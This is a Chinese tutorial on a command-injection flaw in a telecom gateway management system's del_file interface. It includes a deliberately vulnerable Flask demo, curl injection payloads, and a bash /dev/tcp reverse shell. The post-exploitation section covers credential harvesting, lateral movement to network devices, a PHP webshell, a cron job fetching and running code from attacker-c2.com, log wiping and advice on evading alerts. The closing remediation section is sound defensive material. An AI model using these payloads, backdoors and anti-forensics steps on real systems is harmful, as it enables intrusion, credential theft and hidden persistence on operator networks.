1. 项目概述与背景最近在梳理一些历史资产时碰到了一个挺有意思的案例是关于某电信运营商早期网关配置管理系统的。这个系统我们姑且称之为“电信网关配置管理系统”它的一个功能点del_file接口存在一个典型的命令执行漏洞。这个漏洞的成因和利用方式可以说是“老漏洞新场景”的典范非常值得拿出来和大家拆解一下。对于从事安全研究、渗透测试或者系统开发的朋友来说理解这类漏洞的成因、复现过程以及背后的防御逻辑远比单纯地使用一个POC概念验证脚本更有价值。简单来说这个系统是运营商用来集中管理大量网络网关设备比如家庭光猫、企业路由器配置的后台。管理员可以通过Web界面对成千上万的设备进行批量配置下发、文件管理和状态监控。del_file功能的本意是让管理员能够远程删除网关设备上指定的配置文件或日志文件。然而由于在拼接用户输入和系统命令时缺乏严格的过滤与校验攻击者可以构造特殊的输入让系统执行超出预期的任意命令。这就好比你把自家大门的钥匙交给了物业本意是让他帮你丢个垃圾结果他不仅能丢垃圾还能用你的钥匙打开门把你家的电视搬走。这个漏洞的影响范围可大可小。往小了说攻击者可能只是利用它来探测内网信息往大了说结合内网环境可能实现从外网到核心运维网络的长驱直入获取大量敏感的网络拓扑信息和设备控制权。接下来我就带大家一步步拆解这个漏洞从环境搭建、漏洞原理分析、手工复现到深度利用和修复建议完整地走一遍。我会尽量用通俗的语言并结合我实际测试中踩过的坑把每个细节都讲清楚。2. 漏洞原理深度解析2.1 功能点定位与代码逻辑推测首先我们需要定位到这个del_file功能。通常这类电信级管理系统采用B/S架构使用JavaSpring MVC/Struts2或PHP开发。根据经验这类“文件删除”功能的后端接口很可能是通过调用系统命令来实现的尤其是在需要与底层硬件或嵌入式设备交互的场景下。一个典型的、存在缺陷的代码逻辑可能是这样的以Java为例PostMapping(/device/manage/delFile) public String deleteDeviceFile(RequestParam String deviceIp, RequestParam String fileName) { // 1. 验证设备IP是否在管理范围内这里可能只做了简单的格式校验 if (!isValidIp(deviceIp)) { return Invalid IP address; } // 2. 危险操作直接拼接用户输入的fileName到系统命令中 String command ssh admin deviceIp \rm -f /config/ fileName \; // 3. 执行命令 try { Process process Runtime.getRuntime().exec(command); // ... 处理执行结果 ... } catch (IOException e) { return Command execution failed; } return File deleted successfully; }或者在PHP中可能更直接$device_ip $_POST[device_ip]; $file_name $_POST[file_name]; // 直接拼接命令这是漏洞的根源 $cmd ssh admin{$device_ip} rm /var/log/{$file_name}; system($cmd);漏洞的核心就在于第2步String command ssh admin deviceIp \rm -f /config/ fileName \;。开发者的意图是删除/config/目录下名为fileName的文件。但如果攻击者传入的fileName参数不是简单的文件名而是精心构造的字符串比如test.log; id;那么最终拼接成的命令就变成了ssh admin192.168.1.100 rm -f /config/test.log; id;在Linux的shell中分号;是命令分隔符。这意味着在删除文件之后系统还会继续执行id命令并将结果返回。这就是命令注入。2.2 为什么过滤如此困难很多新手会问为什么不用黑名单过滤掉;、、|、\这些特殊字符呢问题在于命令注入的上下文非常复杂。多种命令分隔符除了分号;还有前一个成功则执行后一个、||前一个失败则执行后一个、换行符\n、反引号命令替换、$()命令替换等。防不胜防。编码与混淆攻击者可以使用URL编码、Unicode编码、十六进制、八进制等多种方式绕过简单的字符串匹配。例如;的URL编码是%3b。参数注入有时注入点不在命令末尾而是在命令中间。例如ping -c 1 $INPUT如果$INPUT是8.8.8.8; id同样会导致命令执行。通配符与扩展在文件名参数中*、?等通配符也可能被滥用导致删除或列出非预期文件。因此最根本、最有效的防御方式不是过滤而是避免使用命令拼接。这一点我们会在修复建议部分详细展开。2.3 与常见漏洞的关联这个del_file命令执行漏洞本质上和OWASP Top 10中的“注入”类漏洞A03:2021同源。它也与很多著名的漏洞利用方式相似比如Struts2/S2-045远程代码执行也是通过不当处理用户输入导致OGNL表达式注入。ThinkPHP 5.x RCE通过不安全的控制器方法调用导致代码执行。你提到的Shiro反序列化虽然利用链不同Shiro是反序列化漏洞但最终目标都是实现远程命令执行。理解了这个通用模式你就能举一反三在审计代码或测试时快速定位到类似的风险点凡是代码中出现了Runtime.getRuntime().exec(),ProcessBuilder,system(),exec(),shell_exec(),popen()等函数并且其参数中包含了用户可控的输入就需要立刻拉响警报。3. 漏洞复现环境搭建与准备纸上得来终觉浅绝知此事要躬行。要真正理解漏洞我们必须亲手把它“挖”出来。下面我搭建一个高度仿真的测试环境。3.1 环境规划为了安全且贴近实战我们将在虚拟机中搭建整个环境攻击机Kali Linux 2024.1。集成了我们需要的所有工具Burp Suite, curl, nmap等。靶机Ubuntu 22.04 LTS。用于模拟存在漏洞的“电信网关配置管理系统”服务器。安装Docker用于快速部署一个模拟的漏洞应用。或者我们也可以自己写一个简单的漏洞Demo。我选择自己编写漏洞Demo这样更能清晰地展示漏洞的每一个细节。我们将创建一个简单的Python Flask应用来模拟那个有问题的del_file接口。3.2 靶机环境搭建漏洞应用在Ubuntu靶机上操作安装Python和pipsudo apt update sudo apt install python3 python3-pip -y安装Flaskpip3 install flask创建漏洞应用文件vuln_app.py#!/usr/bin/env python3 from flask import Flask, request, jsonify import subprocess import os app Flask(__name__) # 模拟一个需要认证的接口但认证很弱实战中常见 def check_auth(token): # 这里只是一个简单的模拟实际可能更复杂或更弱 return token weak_admin_token_123 app.route(/api/device/manage/del_file, methods[POST]) def del_file(): 模拟存在命令注入漏洞的文件删除接口 请求格式{token: xxx, device_ip: 192.168.1.1, file_name: config_backup.xml} try: data request.get_json() if not data: return jsonify({error: Invalid JSON}), 400 user_token data.get(token) device_ip data.get(device_ip) file_name data.get(file_name) # 弱认证检查 if not check_auth(user_token): return jsonify({error: Authentication failed}), 403 # 漏洞点直接拼接用户输入的 file_name 到命令中 # 注意这里模拟的是对远程设备的操作实际命令可能是 ssh/scp # 我们简化成本地命令执行来演示漏洞 command fecho [模拟]删除设备 {device_ip} 上的文件{file_name} ls -la /tmp # 如果file_name是 test; whoami命令就变成了 echo ... ls -la /tmp/test; whoami print(f[DEBUG] 即将执行的命令: {command}) # 在实际漏洞中这行日志可能会暴露在日志文件里 # 执行命令 result subprocess.run(command, shellTrue, capture_outputTrue, textTrue, timeout5) return jsonify({ message: 文件删除指令已发送, command_output: result.stdout, command_error: result.stderr, return_code: result.returncode }), 200 except subprocess.TimeoutExpired: return jsonify({error: Command execution timeout}), 500 except Exception as e: return jsonify({error: str(e)}), 500 if __name__ __main__: # 警告在生产环境中绝不能使用 debugTrue 且 host0.0.0.0 app.run(host0.0.0.0, port8080, debugFalse)运行漏洞应用python3 vuln_app.py 应用将在http://靶机IP:8080上运行。注意这个Demo为了演示清晰将远程命令执行简化为了本地命令执行。真实场景中command字符串会更复杂可能包含ssh、telnet或设备特定的CLI命令。但漏洞原理完全一致。另外我们开启shellTrue是为了模拟最危险的情况它会让命令通过系统的shell解释器执行使得命令分隔符生效。3.3 攻击机准备在Kali Linux上我们主要使用curl和Burp Suite。确保网络互通能从Kali ping通Ubuntu靶机。安装curl通常Kali已自带sudo apt install curl -y环境就绪接下来进入最核心的环节手工复现。4. 手工漏洞复现与利用我们将从信息收集开始逐步验证并利用这个漏洞。手工复现能让你深刻理解数据流和漏洞触发点这是自动化工具无法替代的。4.1 信息收集与接口探测首先我们需要找到目标系统的接口。假设我们已经通过其他途径如目录扫描、源码泄露、默认路径知道了接口地址是/api/device/manage/del_file。使用curl发送正常请求 在Kali攻击机上执行curl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H Content-Type: application/json \ -d {token:weak_admin_token_123, device_ip:192.168.1.100, file_name:old_config.cfg}将192.168.56.102替换为你的靶机实际IP。这是一个合法的请求意图删除设备192.168.1.100上的old_config.cfg文件。你应该会收到类似这样的响应{ message: 文件删除指令已发送, command_output: [模拟]删除设备 192.168.1.100 上的文件old_config.cfg\n总用量 100\n...ls -la /tmp 的输出, command_error: , return_code: 0 }这说明接口正常工作并且我们看到了命令执行的“模拟”回显。注意command_output字段它包含了命令echo和ls的输出。这已经是命令注入的一个重要迹象应用将命令执行结果直接返回给了客户端。在真实漏洞中回显可能更隐蔽比如藏在HTML页面的某个角落或者需要触发错误才能看到。4.2 漏洞验证注入测试现在我们来尝试注入。我们的目标是让file_name参数突破原有的字符串边界执行额外的命令。测试命令分隔符;curl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H Content-Type: application/json \ -d {token:weak_admin_token_123, device_ip:192.168.1.100, file_name:test; whoami}观察响应中的command_output。如果成功你不仅会看到模拟的删除信息还会看到whoami命令的执行结果例如root或www-data证明whoami命令被成功执行。测试其他分隔符和||注入file_name: test id||注入file_name: test || uname -a注意因为前面echo命令大概率成功所以||后面的命令不会执行。可以尝试file_name: non_exist_command || id测试反引号或$()命令替换 这种注入方式更隐蔽它将子命令的执行结果作为参数的一部分。curl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H Content-Type: application/json \ -d {token:weak_admin_token_123, device_ip:192.168.1.100, file_name:test$(id)}或者-d {token:weak_admin_token_123, device_ip:192.168.1.100, file_name:testid}这时id命令的结果会被替换到file_name字符串中最终执行的命令可能是echo ... testuid1000(kali)...。观察输出中是否包含了id命令的结果。4.3 漏洞利用获取反向Shell验证漏洞存在后下一步就是获取一个交互式的Shell以便进行更深度的操作。最常用的方法是反向Shell。原理让靶机主动连接我们攻击机监听的某个端口并将其命令行的输入输出重定向到这个网络连接上。在攻击机Kali上开启监听 使用nc(Netcat) 监听一个端口比如 4444。nc -lvnp 4444-l监听模式-v详细输出-n不解析域名-p指定端口构造Payload发起攻击 我们需要构造一个能建立反向Shell的命令并通过file_name参数注入。常用的反向Shell命令有很多这里以bash为例bash -i /dev/tcp/攻击机IP/4444 01我们需要将这个命令进行URL编码并嵌入到注入点。同时为了在命令拼接后能正确执行我们通常会用分号;或与前文隔开并用或\n让命令在后台运行防止请求超时。一个构造好的请求如下注意替换YOUR_KALI_IPcurl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H Content-Type: application/json \ --data-binary ${token:weak_admin_token_123, device_ip:192.168.1.100, file_name:test; bash -c \\bash -i /dev/tcp/YOUR_KALI_IP/4444 01\\ }使用--data-binary和$引用来处理JSON中的双引号和反斜杠转义更安全。bash -c用于执行一个字符串形式的命令。最后的是将命令放到后台执行这样HTTP请求不会一直等待Shell结束。查看结果 发送上述请求后如果成功你会在之前运行nc的终端里看到来自靶机的连接并得到一个可交互的bash shell。你可以尝试执行id、pwd、ls等命令。4.4 利用技巧与注意事项空格过滤绕过如果系统过滤了空格可以用${IFS}、%09Tab的URL编码、、等代替。file_nametest;cat${IFS}/etc/passwd命令黑名单绕过如果黑名单了bash、nc等可以尝试使用其他语言解释器python3 -c import socket,subprocess,os;ssocket.socket(...)(编写Python反向Shell)使用系统自带的工具/bin/sh、/bin/dash。命令拼接aba;bsh;$a$b -i ...无回显的盲注如果应用不返回命令输出那就是盲命令注入。可以通过时间延迟sleep 5、DNS外带curl http://attacker-domain/$(whoami)或HTTP请求外带ping -c 1 $(whoami).attacker-domain来判断命令是否执行并获取数据。权限提升获取的Shell可能是低权限用户如www-data。接下来需要做信息收集寻找本地提权Privilege Escalation的机会比如查找SUID文件、内核漏洞、错误的sudo配置等。这不是本文重点但却是实战中必经的一步。重要心得在真实网络环境中/dev/tcp可能不可用取决于bash编译选项。因此更可靠的方法是使用其他工具如nc、socat、php、python、perl等来建立反向Shell。你需要根据目标系统的环境来灵活选择Payload。我通常会准备一个包含多种Payload的“武器库”逐一尝试。5. 漏洞深度利用与后渗透思路拿到一个Shell远不是终点尤其是面对一个电信网关配置管理系统。这种系统通常处于运维内网的核心或半核心区域价值极高。5.1 信息收集立足一点窥探全网一旦进入系统首先要做的就是冷静、隐蔽地收集信息。系统与网络信息# 查看当前用户、系统版本 id uname -a cat /etc/issue cat /etc/*release # 查看网络配置和连接 ifconfig -a 或 ip addr netstat -antup 或 ss -tunlp route -n cat /etc/resolv.conf arp -a # 查看历史命令可能发现管理员的操作习惯甚至密码 history cat ~/.bash_history寻找配置文件与数据库# 查找包含“jdbc”、“password”、“config”等关键词的文件 find / -type f -name *.properties -o -name *.yml -o -name *.yaml -o -name *.xml 2/dev/null | xargs grep -l -i password\|jdbc 2/dev/null # 查找Web应用的配置文件可能泄露数据库密码、加密密钥 find /var/www /opt /home -name application*.properties -o -name application*.yml 2/dev/null # 查看进程寻找数据库、中间件 ps aux | grep -E mysql|mongo|redis|postgres|java|tomcat|nginx寻找网关管理系统的核心资产# 查找可能包含设备IP、账号密码的配置文件 find / -type f \( -name *.cfg -o -name *.conf -o -name *.ini \) 2/dev/null | xargs grep -l device\|gateway\|olt\|bras 2/dev/null | head -20 # 查看Web应用的数据库连接尝试直接读取数据库 # 如果找到数据库密码可以尝试用mysql命令连接 mysql -h 127.0.0.1 -u root -p找到的密码 -e show databases;5.2 横向移动从运维系统到网络设备这是最具价值的一步。网关配置管理系统里很可能存储着大量网络设备的SSH/Telnet密码、SNMP社区字甚至是enable密码。分析数据库如果找到了数据库重点查看device_list、gateway_info、config_template、user_credential这类表。里面可能直接以明文或弱加密形式存储着设备的登录凭证。分析配置文件查看应用日志、备份文件、脚本文件。管理员可能为了方便在脚本里硬编码了密码。grep -r passw\|pwd\|ssh\|telnet\|enable /opt/管理系统目录/ /home/ 2/dev/null | grep -v .min.js | head -30利用现有连接系统可能为了维持会话在内存或临时文件中存有设备的会话令牌。可以尝试查找/tmp、/dev/shm目录下的临时文件。尝试密钥登录在系统的用户目录下如~/.ssh/寻找私钥文件id_rsa,id_dsa这些私钥可能被用于免密登录其他服务器或设备。5.3 权限维持与清理痕迹在获得重要信息或控制权后需要考虑如何留下后门以及清理访问日志避免被管理员发现。WebShell在Web目录下上传一个一句话木马或功能完整的WebShell作为备用入口。# 例如写一个简单的PHP WebShell echo ?php system($_GET[cmd]);? /var/www/html/backdoor.phpSSH后门添加一个隐藏的SSH用户。或者修改~/.ssh/authorized_keys加入你自己的公钥。计划任务添加一个cron job定期连接回你的C2服务器。(crontab -l 2/dev/null; echo */5 * * * * curl -s http://attacker-c2.com/checkin | sh) | crontab -清理日志这是高风险操作可能反而引发警报。需谨慎。# 清理当前用户的命令历史 history -c rm ~/.bash_history # 清理web日志需要权限 echo /var/log/apache2/access.log # 清理auth日志中你的IP非常危险且容易被发现 sed -i /你的IP地址/d /var/log/auth.log踩坑实录在一次内部演练中我成功通过一个类似漏洞进入系统并很快在配置文件中找到了明文存储的数百台网络设备的Telnet密码。兴奋之余我直接开始尝试登录核心交换机。结果触发了设备的登录失败告警运维人员迅速响应溯源到了入口点整个攻击链被迅速掐断。教训是横向移动一定要慢、要静默。不要一拿到密码就猛攻核心设备。应先登录一些非核心的、告警不敏感的设备如某栋楼的接入交换机测试密码有效性并观察网络流量和告警平台是否有异常。同时尽量使用系统已有的管理通道比如配置管理系统到设备的SSH跳转进行移动这样行为更像“正常流量”。6. 漏洞修复与安全加固建议复现和利用漏洞是为了更好地防御它。作为开发或安全人员我们必须知道如何从根本上杜绝此类问题。6.1 根本解决方案避免命令拼接最佳实践是彻底弃用通过拼接字符串来执行操作系统命令的方式。使用安全的API或库对于文件删除、系统状态查询等操作优先使用编程语言本身提供的API。Java示例删除文件使用java.nio.file.Files.delete(path)而不是Runtime.getRuntime().exec(rm ...)。Python示例删除文件使用os.remove(path)或shutil.rmtree()而不是os.system()或subprocess拼接命令。如果必须执行命令使用参数化调用 几乎所有现代编程语言都支持将命令和参数分开传递这样shell解释器就不会解析参数中的特殊字符。Java (ProcessBuilder)// 正确做法 ProcessBuilder pb new ProcessBuilder(ssh, admin deviceIp, rm, -f, /config/ fileName); // 即使fileName是 test; id它也会被当作一个整体参数传递给rm命令而不会被解析为两条命令。 Process p pb.start();Python (subprocess)# 正确做法使用列表传参且 shellFalse (默认) command [ssh, fadmin{device_ip}, rm, -f, f/config/{file_name}] result subprocess.run(command, capture_outputTrue, textTrue) # 或者如果命令的一部分必须来自变量使用 shlex.quote 进行安全转义 import shlex safe_file_name shlex.quote(file_name) # 但注意即使这样在复杂命令中仍可能出错首选列表传参。6.2 输入验证与净化如果历史代码无法立即重构必须进行严格的输入验证。白名单验证这是最有效的方法。对于fileName这样的参数定义一个允许的字符集合如字母、数字、下划线、点、短横线拒绝任何不在此集合的输入。import re def validate_filename(filename): pattern r^[a-zA-Z0-9_.-]$ # 只允许这些字符 if not re.match(pattern, filename): raise ValueError(Invalid filename) return filename黑名单过滤不推荐单独使用如果必须要过滤所有shell元字符; | $ ( ) \n 等。但务必意识到黑名单很容易被绕过。6.3 最小权限原则运行Web应用或服务的操作系统账户应遵循最小权限原则。使用非特权用户不要用root运行Web服务。创建一个专用用户如www-data、tomcat并只赋予它执行必要操作的最小权限。文件系统权限确保该用户只能访问其必需的目录和文件不能读写系统关键文件。命令限制通过sudo的精细配置允许特定用户以特定参数运行特定命令而不是允许所有命令。6.4 纵深防御Web应用防火墙WAF部署WAF可以拦截常见的命令注入攻击Payload为修复代码争取时间。定期安全审计与代码扫描将命令执行函数如exec,system,ProcessBuilder加入代码审计的关键词列表定期进行人工或自动化扫描。日志与监控对所有的命令执行操作进行详细日志记录包括执行时间、用户、执行的命令、参数等。并设置告警规则对执行异常命令如bash -i,/dev/tcp的行为进行实时告警。修复漏洞不是一劳永逸的需要将安全思维融入到系统设计、开发、测试和运维的全生命周期中。对于这个del_file漏洞最紧急的是修改代码采用参数化调用方式中长期则需要建立完善的安全开发流程和审计机制。